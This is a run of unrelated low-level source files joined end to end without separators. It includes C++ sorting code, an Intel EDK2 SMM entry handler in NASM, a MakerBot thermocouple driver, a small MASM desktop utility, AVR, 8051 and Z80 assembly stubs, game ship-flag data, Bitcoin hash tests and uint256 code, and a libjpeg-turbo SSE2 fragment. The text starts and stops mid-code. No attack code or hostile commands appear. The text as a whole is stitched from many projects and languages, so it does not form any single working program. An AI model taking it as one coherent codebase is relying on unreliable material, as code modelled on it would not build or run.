getPositiveModifiers(); for (i = 0, j = mInDegree - 1; i < np; i++) { if (mModifier[i]->getType() == 0) { // this is in the wrong place, find a positive one for (; j >= np; j--) { if (mModifier[j]->getType() == 1) { // found one, let's swap tempModf = mModifier[i]; tempIdx = getModifierIndex(i); mModifier[i] = mModifier[j]; mModifierIndex[i] = mModifierIndex[j]; mModifier[i]->setType(1); mModifier[j] = tempModf; mModifierIndex[j] = tempIdx; mModifier[j]->setType(0); break; } } } } }
%ifidn __OUTPUT_FORMAT__, elf32 %define ADDRESS_SIZE 0x04 %elifidn __OUTPUT_FORMAT__, elf64 %define ADDRESS_SIZE 0x08 %endif
;------------------------------------------------------------------------------ ; ; Copyright (c) 2016 - 2018, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; SmiEntry.nasm ; ; Abstract: ; ; Code template of the SMI handler for a particular processor ; ;------------------------------------------------------------------------------- %include "StuffRsb.inc" ; ; Variables referrenced by C code ; %define MSR_IA32_MISC_ENABLE 0x1A0 %define MSR_EFER 0xc0000080 %define MSR_EFER_XD 0x800 ; ; Constants relating to TXT_PROCESSOR_SMM_DESCRIPTOR ; %define DSC_OFFSET 0xfb00 %define DSC_GDTPTR 0x48 %define DSC_GDTSIZ 0x50 %define DSC_CS 0x14 %define DSC_DS 0x16 %define DSC_SS 0x18 %define DSC_OTHERSEG 0x1a ; ; Constants relating to CPU State Save Area ; %define SSM_DR6 0xffd0 %define SSM_DR7 0xffc8 %define PROTECT_MODE_CS 0x8 %define PROTECT_MODE_DS 0x20 %define LONG_MODE_CS 0x38 %define TSS_SEGMENT 0x40 %define GDT_SIZE 0x50 extern ASM_PFX(SmiRendezvous) extern ASM_PFX(gStmSmiHandlerIdtr) extern ASM_PFX(CpuSmmDebugEntry) extern ASM_PFX(CpuSmmDebugExit) global ASM_PFX(gStmSmbase) global ASM_PFX(gStmXdSupported) global ASM_PFX(gStmSmiStack) global ASM_PFX(gStmSmiCr3) global ASM_PFX(gcStmSmiHandlerTemplate) global ASM_PFX(gcStmSmiHandlerSize) global ASM_PFX(gcStmSmiHandlerOffset) ASM_PFX(gStmSmbase) EQU StmSmbasePatch - 4 ASM_PFX(gStmSmiStack) EQU StmSmiStackPatch - 4 ASM_PFX(gStmSmiCr3) EQU StmSmiCr3Patch - 4 ASM_PFX(gStmXdSupported) EQU StmXdSupportedPatch - 1 DEFAULT REL SECTION .text BITS 16 ASM_PFX(gcStmSmiHandlerTemplate): _StmSmiEntryPoint: mov bx, _StmGdtDesc - _StmSmiEntryPoint + 0x8000 mov ax,[cs:DSC_OFFSET + DSC_GDTSIZ] dec ax mov [cs:bx], ax mov eax, [cs:DSC_OFFSET + DSC_GDTPTR] mov [cs:bx + 2], eax o32 lgdt [cs:bx] ; lgdt fword ptr cs:[bx] mov ax, PROTECT_MODE_CS mov [cs:bx-0x2],ax o32 mov edi, strict dword 0 StmSmbasePatch: lea eax, [edi + (@ProtectedMode - _StmSmiEntryPoint) + 0x8000] mov [cs:bx-0x6],eax mov ebx, cr0 and ebx, 0x9ffafff3 or ebx, 0x23 mov cr0, ebx jmp dword 0x0:0x0 _StmGdtDesc: DW 0 DD 0 BITS 32 @ProtectedMode: mov ax, PROTECT_MODE_DS o16 mov ds, ax o16 mov es, ax o16 mov fs, ax o16 mov gs, ax o16 mov ss, ax mov esp, strict dword 0 StmSmiStackPatch: jmp ProtFlatMode BITS 64 ProtFlatMode: mov eax, strict dword 0 StmSmiCr3Patch: mov cr3, rax mov eax, 0x668 ; as cr4.PGE is not set here, refresh cr3 mov cr4, rax ; in PreModifyMtrrs() to flush TLB. ; Load TSS sub esp, 8 ; reserve room in stack sgdt [rsp] mov eax, [rsp + 2] ; eax = GDT base add esp, 8 mov dl, 0x89 mov [rax + TSS_SEGMENT + 5], dl ; clear busy flag mov eax, TSS_SEGMENT ltr ax ; enable NXE if supported mov al, strict byte 1 StmXdSupportedPatch: cmp al, 0 jz @SkipXd ; ; Check XD disable bit ; mov ecx, MSR_IA32_MISC_ENABLE rdmsr sub esp, 4 push rdx ; save MSR_IA32_MISC_ENABLE[63-32] test edx, BIT2 ; MSR_IA32_MISC_ENABLE[34] jz .0 and dx, 0xFFFB ; clear XD Disable bit if it is set wrmsr .0: mov ecx, MSR_EFER rdmsr or ax, MSR_EFER_XD ; enable NXE wrmsr jmp @XdDone @SkipXd: sub esp, 8 @XdDone: ; Switch into @LongMode push LONG_MODE_CS ; push cs hardcore here call Base ; push return address for retf later Base: add dword [rsp], @LongMode - Base; offset for far retf, seg is the 1st arg mov ecx, MSR_EFER rdmsr or ah, 1 ; enable LME wrmsr mov rbx, cr0 or ebx, 0x80010023 ; enable paging + WP + NE + MP + PE mov cr0, rbx retf @LongMode: ; long mode (64-bit code) starts here mov rax, strict qword 0 ; mov rax, ASM_PFX(gStmSmiHandlerIdtr) StmSmiEntrySmiHandlerIdtrAbsAddr: lidt [rax] lea ebx, [rdi + DSC_OFFSET] mov ax, [rbx + DSC_DS] mov ds, eax mov ax, [rbx + DSC_OTHERSEG] mov es, eax mov fs, eax mov gs, eax mov ax, [rbx + DSC_SS] mov ss, eax mov rax, strict qword 0 ; mov rax, CommonHandler StmSmiEntryCommonHandlerAbsAddr: jmp rax CommonHandler: mov rbx, [rsp + 0x08] ; rbx <- CpuIndex ; ; Save FP registers ; sub rsp, 0x200 fxsave64 [rsp] add rsp, -0x20 mov rcx, rbx call ASM_PFX(CpuSmmDebugEntry) mov rcx, rbx call ASM_PFX(SmiRendezvous) mov rcx, rbx call ASM_PFX(CpuSmmDebugExit) add rsp, 0x20 ; ; Restore FP registers ; fxrstor64 [rsp] add rsp, 0x200 lea rax, [ASM_PFX(gStmXdSupported)] mov al, [rax] cmp al, 0 jz .1 pop rdx ; get saved MSR_IA32_MISC_ENABLE[63-32] test edx, BIT2 jz .1 mov ecx, MSR_IA32_MISC_ENABLE rdmsr or dx, BIT2 ; set XD Disable bit if it was set before entering into SMM wrmsr .1: StuffRsb64 rsm _StmSmiHandler: ; ; Check XD disable bit ; xor r8, r8 lea rax, [ASM_PFX(gStmXdSupported)] mov al, [rax] cmp al, 0 jz @StmXdDone mov ecx, MSR_IA32_MISC_ENABLE rdmsr mov r8, rdx ; save MSR_IA32_MISC_ENABLE[63-32] test edx, BIT2 ; MSR_IA32_MISC_ENABLE[34] jz .0 and dx, 0xFFFB ; clear XD Disable bit if it is set wrmsr .0: mov ecx, MSR_EFER rdmsr or ax, MSR_EFER_XD ; enable NXE wrmsr @StmXdDone: push r8 ; below step is needed, because STM does not run above code. ; we have to run below code to set IDT/CR0/CR4 mov rax, strict qword 0 ; mov rax, ASM_PFX(gStmSmiHandlerIdtr) StmSmiHandlerIdtrAbsAddr: lidt [rax] mov rax, cr0 or eax, 0x80010023 ; enable paging + WP + NE + MP + PE mov cr0, rax mov rax, cr4 mov eax, 0x668 ; as cr4.PGE is not set here, refresh cr3 mov cr4, rax ; in PreModifyMtrrs() to flush TLB. ; STM init finish jmp CommonHandler ASM_PFX(gcStmSmiHandlerSize) : DW $ - _StmSmiEntryPoint ASM_PFX(gcStmSmiHandlerOffset) : DW _StmSmiHandler - _StmSmiEntryPoint global ASM_PFX(SmmCpuFeaturesLibStmSmiEntryFixupAddress) ASM_PFX(SmmCpuFeaturesLibStmSmiEntryFixupAddress): lea rax, [ASM_PFX(gStmSmiHandlerIdtr)] lea rcx, [StmSmiEntrySmiHandlerIdtrAbsAddr] mov qword [rcx - 8], rax lea rcx, [StmSmiHandlerIdtrAbsAddr] mov qword [rcx - 8], rax lea rax, [CommonHandler] lea rcx, [StmSmiEntryCommonHandlerAbsAddr] mov qword [rcx - 8], rax ret
/* * Copyright 2012 by Alison Leonard alison@makerbot.com * * @file ThermocoupleReader.cc * @brief This class reads temperature data from the ADS1118 ADC from Texas Instruments * The ADC has two thermocouple input channels and a cold junction temperature sensor * * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ #include "Compat.hh" #include "ThermocoupleReader.hh" #include "Configuration.hh" #include "TemperatureTable.hh" /* * Thermocouple Reader Constructor * Create a new thermocouple instance, and attach it to the given pins. * * @param [in] do_p Data Out: MOSI (output). * @param [in] sck_p Clock Pin (output). Can be shared with other thermocouples. * @param [in] di_p Data In: MISO (input) * @param [in] cs_p Chip Select (output) */ ThermocoupleReader::ThermocoupleReader(const Pin& do_p,const Pin& sck_p,const Pin& di_p, const Pin& cs_p) : cs_pin(cs_p), sck_pin(sck_p), do_pin(do_p), di_pin(di_p) { } /* * Initialize ThermocoupleReader pins and set read variables to default state * */ void ThermocoupleReader::init() { do_pin.setDirection(true); sck_pin.setDirection(true); di_pin.setDirection(false); cs_pin.setDirection(true); // channel_one_config = bit_reverse(INPUT_CHAN_01 | AMP_0_256 | SAMPLE_FREQ_64 | WRITE_CONFIG); // reverse order for shifting out MSB first // channel_two_config = bit_reverse(INPUT_CHAN_23 | AMP_0_256 | SAMPLE_FREQ_64 | WRITE_CONFIG); // cold_temp_config = bit_reverse(TEMP_SENSE_MODE | SAMPLE_FREQ_64 | WRITE_CONFIG); channel_one_config = R_INPUT_CHAN_01 | R_AMP_0_256 | R_SAMPLE_FREQ_64 | R_WRITE_CONFIG; channel_two_config = R_INPUT_CHAN_23 | R_AMP_0_256 | R_SAMPLE_FREQ_64 | R_WRITE_CONFIG; cold_temp_config = R_TEMP_SENSE_MODE | R_SAMPLE_FREQ_64 | R_WRITE_CONFIG; channel_one_temp = 0; channel_two_temp = 0; cold_temp = 0; cs_pin.setValue(false); // chip select hold low sck_pin.setValue(false); // Clock select is active low last_temp_updated = THERM_CHANNEL_ONE; error_code = TemperatureSensor::SS_OK; initConfig(); } /* * Send initial config value to the ADS1118 * */ void ThermocoupleReader::initConfig() { sck_pin.setValue(false); config_state = THERM_CHANNEL_ONE; read_state = THERM_CHANNEL_ONE; temp_check_counter = TEMP_CHECK_COUNT; uint16_t config = channel_one_config; uint16_t config_reg = 0; // send the config register for (int i = 0; i < 16; i++) { // shift out config register data do_pin.setValue((config & 0b01) != 0); config >>= 1; sck_pin.setValue(true); // we don't care about the slave data here sck_pin.setValue(false); } // read back the config reg for (int i = 0; i < 16; i++) { // shift out dummy data do_pin.setValue(false); sck_pin.setValue(true); config_reg = config_reg << 1; if ( di_pin.getValue() ) { config_reg = config_reg | 0x01; } sck_pin.setValue(false); } /// we could check here to make sure the config data has been read correctly sck_pin.setValue(false); } /* * Get temperature read * * @param [in] channel which ADC channel are we reading (valid channels: 1,0) * @return last temperature reading for channel * */ TemperatureSensor::SensorState ThermocoupleReader::GetChannelTemperature(uint8_t channel, volatile float &read_temperature) { read_temperature = (channel == THERM_CHANNEL_ONE) ? channel_one_temp : channel_two_temp; return error_code; } static float ColdReadToCelsius(int16_t adc) { if ( 0x2000 & adc ) // negative temp return -0.03125 * (0x1fff & (~(adc - 1))); else // positive temp return 0.03125 * adc; } /* * Get a new read from the ADC. This function is called by the motherboard slice at regular intervals * and cycles between channel 1 channel 2 and cold junction temperature, reading one value each fucntion call * */ uint8_t ThermocoupleReader::update() { sck_pin.setValue(false); // check that data ready flag is low // if it is high, return false so the calling function knows to try again if ( di_pin.getValue() ) return THERM_ADC_BUSY; uint16_t config = 0; // the config register determines the output for the next read switch ( config_state ) { case THERM_CHANNEL_ONE : config = channel_one_config; break; case THERM_CHANNEL_TWO : config = channel_two_config; break; case THERM_COLD_JUNCTION : config = cold_temp_config; break; default : break; } uint16_t config_reg = 0; uint16_t raw = 0; /// the ADS1118 uses bidirection SPI communication /// the sensor returns 4 bytes of data per read. the first two bytes are the /// ADC bits. the second two bytes are the config register bits /// the mightyboard (master) sends the desired configuration register in the first /// two bytes and sends dummy data for the second two bytes // read the temperature register for (int i = 0; i < 16; i++) { // shift out config register data do_pin.setValue((config & 0b01) != 0); config >>= 1; sck_pin.setValue(true); raw = raw << 1; if ( di_pin.getValue() ) {raw = raw | 0x01; } sck_pin.setValue(false); } // read back the config reg for (int i = 0; i < 16; i++) { // shift out dummy data do_pin.setValue(false); sck_pin.setValue(true); config_reg = config_reg << 1; if ( di_pin.getValue() ) { config_reg = config_reg | 0x01; } sck_pin.setValue(false); } sck_pin.setValue(false); float temp; /// store read to the temperature variable switch(read_state){ default: break; case THERM_COLD_JUNCTION: cold_temp = ColdReadToCelsius((int16_t)(raw >> 2)); break; case THERM_CHANNEL_ONE: case THERM_CHANNEL_TWO: if ( raw == (uint16_t)UNPLUGGED_TEMPERATURE ) { error_code = TemperatureSensor::SS_ERROR_UNPLUGGED; } else { temp = TemperatureTable::TempReadtoCelsius((int16_t)raw, TABLE_THERMOCOUPLE_K, MAX_TEMP); if ( temp < MAX_TEMP ) { temp += cold_temp; if ( read_state == THERM_CHANNEL_ONE ) channel_one_temp = temp; else channel_two_temp = temp; error_code = TemperatureSensor::SS_OK; } else { // temperature read out of range error_code = TemperatureSensor::SS_BAD_READ; } } break; } /// track last update temperature, so that this value can be queried. last_temp_updated = read_state; /// the temperature read next cycle is determined by the config bytes we just sent read_state = config_state; /// update the config register /// we switch back and forth between channel one and channel two /// every TEMP_CHECK_COUNT cycles, we read the cold_junction_temperature switch ( config_state ) { default : break; case THERM_CHANNEL_ONE : config_state = THERM_CHANNEL_TWO; break; case THERM_CHANNEL_TWO : // we don't need to read the cold temp every time // read it ~once per minute // 0.25 s between calls // counter incremented only every other call // TEMP_CHECK_COUNT = 120 // Thus 240 calls needed -> 60 seconds temp_check_counter++; if ( temp_check_counter >= TEMP_CHECK_COUNT ) { temp_check_counter = 0; config_state = THERM_COLD_JUNCTION; break; } // Fall thru case THERM_COLD_JUNCTION : config_state = THERM_CHANNEL_ONE; break; } // return true when temperature update is successful return THERM_READY; }
; ######################################################################### .386 .model flat, stdcall option casemap :none ; case sensitive ; ######################################################################### include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib ; ######################################################################### .data szProgman db "progman", 0 szProgram db "program manager",0 szShellDV db "shelldll_defview", 0 szShellLV db "syslistview32", 0 .data? hDesktop dd ? ; ######################################################################### .code start: invoke FindWindow, addr szProgman, addr szProgram invoke FindWindowEx, eax, 0, addr szShellDV, NULL invoke FindWindowEx, eax, 0, addr szShellLV, NULL mov hDesktop, eax invoke SendMessage, hDesktop, LVM_SETTEXTBKCOLOR, 0, HTTRANSPARENT invoke InvalidateRect, hDesktop, NULL, TRUE invoke ExitProcess, 0 ; ######################################################################### end start
RSEG DOVERLAY:DATA:NOROOT(0) RSEG IOVERLAY:IDATA:NOROOT(0) RSEG ISTACK:IDATA:NOROOT(0) RSEG PSTACK:XDATA:NOROOT(0) RSEG XSTACK:XDATA:NOROOT(0) PUBLIC mynum RSEG NEAR_CODE:CODE:NOROOT(0) mynum: CODE ; Saved register size: 0 ; Auto size: 0 MOV R2,#0x2A MOV R3,#0x0 RET END
;;; generated by ../../BootSetup/BootSetup.rb (2018-02-18 11:55:51 +0100) .include "ports.atmega328p.inc" ;;; ======================================================================== ;;; Interrupt Table ;;; ======================================================================== .org 0 rjmp RESET nop reti ; INT0 nop reti ; INT1 nop reti ; PCINT0 nop reti ; PCINT1 nop reti ; PCINT2 nop reti ; WATCHDOG nop reti ; Timer2 Compare A nop reti ; Timer2 Compare B nop reti ; Timer2 Overflow nop reti ; Timer1 Capture nop reti ; Timer1 Compare A nop reti ; Timer1 Compare B nop reti ; Timer1 Overflow nop reti ; Timer0 Compare A nop reti ; Timer0 Compare B nop reti ; Timer0 Overflow nop reti ; SPI nop reti ; USART RX Complete nop reti ; USART UDR Empty nop reti ; USART TX Complete nop reti ; ADC Conversion Complete nop reti ; EEPROM Ready nop reti ; Analog Compare nop reti ; 2-wire Serial Interface nop reti ; Store Program Memory Ready nop ;;; ======================================================================== ;;; Boot Setup ;;; ======================================================================== RESET: ldi r16, 0x00 ; 0 out DDRB, r16 ; Port B Data Direction Register [0x04] out PORTB, r16 ; Port B Data Register [0x05] out DDRC, r16 ; Port C Data Direction Register [0x07] out PORTC, r16 ; Port C Data Register [0x08] out DDRD, r16 ; Port D Data Direction Register [0x0a] out PORTD, r16 ; Port D Data Register [0x0b] out TIFR0, r16 ; Timer/Counter 0 Interrupt Flag Register [0x15] out EIMSK, r16 ; External Interrupt Mask Register [0x1d] out TCCR0A, r16 ; Timer/Counter Control Register A [0x24] out TCCR0B, r16 ; Timer/Counter Control Register B [0x25] out TCNT0, r16 ; Timer/Counter Register [0x26] out OCR0A, r16 ; Output Compare Register A [0x27] out OCR0B, r16 ; Output Compare Register B [0x28] out SPCR, r16 ; SPI Control Register [0x2c] out SPSR, r16 ; SPI Status Register [0x2d] ldi r17, 0x01 ; 1 out SMCR, r17 ; Sleep Mode Control Register [0x33] out MCUCR, r16 ; MCU Control Register [0x35] ldi r17, 0xef ; 239 sts PRR, r17 ; Power Reduction Register [0x64] sts EICRA, r16 ; External Interrupt Control Register A [0x69] sts TIMSK0, r16 ; Timer/Counter Interrupt Mask Register [0x6e] sts ADCL, r16 ; ADC Data Register Low [0x78] sts ADCH, r16 ; ADC Data Register High [0x79] sts ADCSRA, r16 ; ADC Control and Status Register A [0x7a] sts ADCSRB, r16 ; ADC Control and Status Register B [0x7b] sts ADMUX, r16 ; ADC Multiplexer Selection Register [0x7c] sts DIDR0, r16 ; Digital Input Disable Register 0 [0x7e] sts TWBR, r16 ; TWI Bit Rate Register [0xb8] sts TWSR, r16 ; TWI Status Register [0xb9] ldi r17, 0xfe ; 254 sts TWAR, r17 ; TWI (Slave) Address Register [0xba] sts TWCR, r16 ; TWI Control Register [0xbc] sts TWAMR, r16 ; TWI (Slave) Address Mask Register [0xbd] sts UCSR0A, r16 ; USART Control and Status Register 0 A [0xc0] sts UCSR0B, r16 ; USART Control and Status Register 0 B [0xc1] ldi r17, 0x06 ; 6 sts UCSR0C, r17 ; USART Control and Status Register 0 C [0xc2] sts UBRR0L, r16 ; USART Baud Rate Register Low [0xc4] sts UBRR0H, r16 ; USART Baud Rate Register High [0xc5] ldi r17, 0x01 out MCUCR, r17 ; MCU Control Register [0x35] ldi r17, 0x00 out MCUCR, r17 ; MCU Control Register [0x35] ldi r17, 0x80 sts CLKPR, r17 ; Clock Prescale Register [0x61] ldi r17, 0x01 sts CLKPR, r17 ; Clock Prescale Register [0x61] ldi r17, lo8(RAMEND) out SPL, r17 ; Stack Pointer Low [0x3d] ldi r17, hi8(RAMEND) out SPH, r17 ; Stack Pointer High [0x3e] out SREG, r16 ; Status Register [0x3f] rjmp Main ;;; generated by ../../BootSetup/BootSetup.rb (2018-02-18 11:55:51 +0100)
; int isoob(int) ; 08.2009 aralbrec SECTION code_clib PUBLIC _isoob PUBLIC isoob EXTERN asm_isoob ; FASTCALL ._isoob .isoob ld a,l call asm_isoob ld hl,0 ret nz inc l ret
; -- Ship AI data UBnKShipType DB 0 UBnKspeed DB 0 ; INWK +27 UBnKAccel DB 0 ; INWK +28 UBnKRotXCounter DB 0 ; INWK +29 UBnKRotZCounter DB 0 ; INWK +30 UBnKexplDsp DB 0 ; INWK +31 clear exploding/display state|missiles ; Flags work as follows: ; 7 - Flag ship to be killed with debris ; 6 - Invisible/Erase (also mentions Laser Firing?) ; 5 - Ship is exploding if set ; 4 - ; 3 - Display state - Plot as a Dot ; 2 - Nbr of Missiles bit 2 ; 1 - Nbr of Missiles bit 1 ; 0 - Nbr of Missiles bit 0 UBnkaiatkecm DB 0 ; INWK +32 ai_attack_univ_ecm i.e. AI type UBnkCam0yLo DB 0 ; INWK +33 ???? UBnkCam0yHi DB 0 ; INWK +34????? UbnKEnergy DB 0 ; INWK +35 ; Flags work as follows: ;Bit Description ;#0 Trader flag * 0 = not a trader * 1 = trader ; 80% of traders are peaceful and mind their own business plying their trade between the planet and space station, but 20% of them moonlight as bounty hunters (see bit #1) ; Ships that are traders: Escape pod, Shuttle, Transporter, Anaconda, Rock hermit, Worm ;#1 Bounty hunter flag * 0 = not a bounty hunter* 1 = bounty hunter ; If we are a fugitive or a serious offender and we bump into a bounty hunter, they will become hostile and attack us (see bit #2) ; Ships that are bounty hunters: Viper, Fer-de-lance ;#2 Hostile flag * 0 = not hostile * 1 = hostile ; Hostile ships will attack us on sight; there are quite a few of them ; Ships that are hostile: Sidewinder, Mamba, Krait, Adder, Gecko, Cobra Mk I, Worm, Cobra Mk III, Asp Mk II, Python (pirate), Moray, Thargoid, Thargon, Constrictor ;#3 Pirate flag * 0 = not a pirate * 1 = pirate ; Hostile pirates will attack us on sight, but once we get inside the space station safe zone, they will stop ; Ships that are pirates: Sidewinder, Mamba, Krait, Adder, Gecko, Cobra Mk I, Cobra Mk III, Asp Mk II, Python (pirate), Moray, Thargoid ;#4 Docking flag * 0 = not docking * 1 = docking ; Traders with their docking flag set fly towards the space station to try to dock, otherwise they aim for the planet ; This flag is randomly set for traders when they are spawned ; Ships that can be docking: Escape pod, Shuttle, Transporter, Anaconda, Rock hermit, Worm ;#5 Innocent bystander * 0 = normal * 1 = innocent bystander ; If we attack an innocent ship within the space station safe zone, then the station will get angry with us and start spawning cops ; Ships that are innocent bystanders: Shuttle, Transporter, Cobra Mk III, Python, Boa, Anaconda, Rock hermit, Cougar ;#6 Cop flag * 0 = not a cop * 1 = cop ; If we destroy a cop, then we instantly become a fugitive (the Transporter isn't actually a cop, but it's clearly under police protection) ; Ships that are cops: Viper, Transporter ;#7 Scooped, docked, escape pod flag ; For spawned ships, this flag indicates that the ship been scooped or has docked (bit 7 is always clear on spawning) ; For blueprints, this flag indicates whether the ship type has an escape pod fitted, so it can launch it when in dire straits ; Ships that have escape pods: Cobra Mk III, Python, Boa, Anaconda, Rock hermit, Viper, Mamba, Krait, Adder, Cobra Mk I, Cobra Mk III (pirate), Asp Mk II, Python (pirate), Fer-de-lance
// Copyright (c) 2013-2015 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "hash.h" #include "utilstrencodings.h" #include "test/test_amero.h" #include <vector> #include <boost/test/unit_test.hpp> using namespace std; BOOST_FIXTURE_TEST_SUITE(hash_tests, BasicTestingSetup) BOOST_AUTO_TEST_CASE(murmurhash3) { #define T(expected, seed, data) BOOST_CHECK_EQUAL(MurmurHash3(seed, ParseHex(data)), expected) // Test MurmurHash3 with various inputs. Of course this is retested in the // bloom filter tests - they would fail if MurmurHash3() had any problems - // but is useful for those trying to implement Bitcoin libraries as a // source of test data for their MurmurHash3() primitive during // development. // // The magic number 0xFBA4C795 comes from CBloomFilter::Hash() T(0x00000000, 0x00000000, ""); T(0x6a396f08, 0xFBA4C795, ""); T(0x81f16f39, 0xffffffff, ""); T(0x514e28b7, 0x00000000, "00"); T(0xea3f0b17, 0xFBA4C795, "00"); T(0xfd6cf10d, 0x00000000, "ff"); T(0x16c6b7ab, 0x00000000, "0011"); T(0x8eb51c3d, 0x00000000, "001122"); T(0xb4471bf8, 0x00000000, "00112233"); T(0xe2301fa8, 0x00000000, "0011223344"); T(0xfc2e4a15, 0x00000000, "001122334455"); T(0xb074502c, 0x00000000, "00112233445566"); T(0x8034d2a0, 0x00000000, "0011223344556677"); T(0xb4698def, 0x00000000, "001122334455667788"); #undef T } BOOST_AUTO_TEST_CASE(siphash) { CSipHasher hasher(0x0706050403020100ULL, 0x0F0E0D0C0B0A0908ULL); BOOST_CHECK_EQUAL(hasher.Finalize(), 0x726fdb47dd0e0e31ull); hasher.Write(0x0706050403020100ULL); BOOST_CHECK_EQUAL(hasher.Finalize(), 0x93f5f5799a932462ull); hasher.Write(0x0F0E0D0C0B0A0908ULL); BOOST_CHECK_EQUAL(hasher.Finalize(), 0x3f2acc7f57c29bdbull); hasher.Write(0x1716151413121110ULL); BOOST_CHECK_EQUAL(hasher.Finalize(), 0xb8ad50c6f649af94ull); hasher.Write(0x1F1E1D1C1B1A1918ULL); BOOST_CHECK_EQUAL(hasher.Finalize(), 0x7127512f72f27cceull); hasher.Write(0x2726252423222120ULL); BOOST_CHECK_EQUAL(hasher.Finalize(), 0x0e3ea96b5304a7d0ull); hasher.Write(0x2F2E2D2C2B2A2928ULL); BOOST_CHECK_EQUAL(hasher.Finalize(), 0xe612a3cb9ecba951ull); BOOST_CHECK_EQUAL(SipHashUint256(0x0706050403020100ULL, 0x0F0E0D0C0B0A0908ULL, uint256S("1f1e1d1c1b1a191817161514131211100f0e0d0c0b0a09080706050403020100")), 0x7127512f72f27cceull); // Check consistency between CSipHasher and SipHashUint256[Extra]. // TODO reenable when backporting Bitcoin #10321 /*FastRandomContext ctx; for (int i = 0; i < 16; ++i) { uint64_t k1 = ctx.rand64(); uint64_t k2 = ctx.rand64(); uint256 x = GetRandHash(); uint32_t n = ctx.rand32(); uint8_t nb[4]; WriteLE32(nb, n); CSipHasher sip256(k1, k2); sip256.Write(x.begin(), 32); CSipHasher sip288 = sip256; sip288.Write(nb, 4); BOOST_CHECK_EQUAL(SipHashUint256(k1, k2, x), sip256.Finalize()); BOOST_CHECK_EQUAL(SipHashUint256Extra(k1, k2, x, n), sip288.Finalize()); }*/ } BOOST_AUTO_TEST_SUITE_END()
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2017 The Bitcoinlimitededition Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <uint256.h> #include <utilstrencodings.h> #include <stdio.h> #include <string.h> template <unsigned int BITS> base_blob<BITS>::base_blob(const std::vector<unsigned char>& vch) { assert(vch.size() == sizeof(data)); memcpy(data, vch.data(), sizeof(data)); } template <unsigned int BITS> std::string base_blob<BITS>::GetHex() const { return HexStr(std::reverse_iterator<const uint8_t*>(data + sizeof(data)), std::reverse_iterator<const uint8_t*>(data)); } template <unsigned int BITS> void base_blob<BITS>::SetHex(const char* psz) { memset(data, 0, sizeof(data)); // skip leading spaces while (isspace(*psz)) psz++; // skip 0x if (psz[0] == '0' && tolower(psz[1]) == 'x') psz += 2; // hex string to uint const char* pbegin = psz; while (::HexDigit(*psz) != -1) psz++; psz--; unsigned char* p1 = (unsigned char*)data; unsigned char* pend = p1 + WIDTH; while (psz >= pbegin && p1 < pend) { *p1 = ::HexDigit(*psz--); if (psz >= pbegin) { *p1 |= ((unsigned char)::HexDigit(*psz--) << 4); p1++; } } } template <unsigned int BITS> void base_blob<BITS>::SetHex(const std::string& str) { SetHex(str.c_str()); } template <unsigned int BITS> std::string base_blob<BITS>::ToString() const { return (GetHex()); } // Explicit instantiations for base_blob<160> template base_blob<160>::base_blob(const std::vector<unsigned char>&); template std::string base_blob<160>::GetHex() const; template std::string base_blob<160>::ToString() const; template void base_blob<160>::SetHex(const char*); template void base_blob<160>::SetHex(const std::string&); // Explicit instantiations for base_blob<256> template base_blob<256>::base_blob(const std::vector<unsigned char>&); template std::string base_blob<256>::GetHex() const; template std::string base_blob<256>::ToString() const; template void base_blob<256>::SetHex(const char*); template void base_blob<256>::SetHex(const std::string&);
; ; jdmrgext.asm - merged upsampling/color conversion (SSE2) ; ; Copyright 2009, 2012 Pierre Ossman <ossman@cendio.se> for Cendio AB ; Copyright (C) 2012, 2016, D. R. Commander. ; ; Based on the x86 SIMD extension for IJG JPEG library ; Copyright (C) 1999-2006, MIYASAKA Masaru. ; For conditions of distribution and use, see copyright notice in jsimdext.inc ; ; This file should be assembled with NASM (Netwide Assembler), ; can *not* be assembled with Microsoft's MASM or any compatible ; assembler (including Borland's Turbo Assembler). ; NASM is available from http://nasm.sourceforge.net/ or ; http://sourceforge.net/project/showfiles.php?group_id=6208 ; ; [TAB8] %include "jcolsamp.inc" ; -------------------------------------------------------------------------- ; ; Upsample and color convert for the case of 2:1 horizontal and 1:1 vertical. ; ; GLOBAL(void) ; jsimd_h2v1_merged_upsample_sse2(JDIMENSION output_width, ; JSAMPIMAGE input_buf, ; JDIMENSION in_row_group_ctr, ; JSAMPARRAY output_buf); ; %define output_width(b) (b) + 8 ; JDIMENSION output_width %define input_buf(b) (b) + 12 ; JSAMPIMAGE input_buf %define in_row_group_ctr(b) (b) + 16 ; JDIMENSION in_row_group_ctr %define output_buf(b) (b) + 20 ; JSAMPARRAY output_buf %define original_ebp ebp + 0 %define wk(i) ebp - (WK_NUM - (i)) * SIZEOF_XMMWORD ; xmmword wk[WK_NUM] %define WK_NUM 3 %define gotptr wk(0) - SIZEOF_POINTER ; void * gotptr align 32 GLOBAL_FUNCTION(jsimd_h2v1_merged_upsample_sse2) EXTN(jsimd_h2v1_merged_upsample_sse2): push ebp mov eax, esp ; eax = original ebp sub esp, byte 4 and esp, byte (-SIZEOF_XMMWORD) ; align to 128 bits mov [esp], eax mov ebp, esp ; ebp = aligned ebp lea esp, [wk(0)] pushpic eax ; make a room for GOT address push ebx ; push ecx ; need not be preserved ; push edx ; need not be preserved push esi push edi get_GOT ebx ; get GOT address movpic POINTER [gotptr], ebx ; save GOT address mov ecx, JDIMENSION [output_width(eax)] ; col test ecx, ecx jz near .return push ecx mov edi, JSAMPIMAGE [input_buf(eax)] mov ecx, JDIMENSION 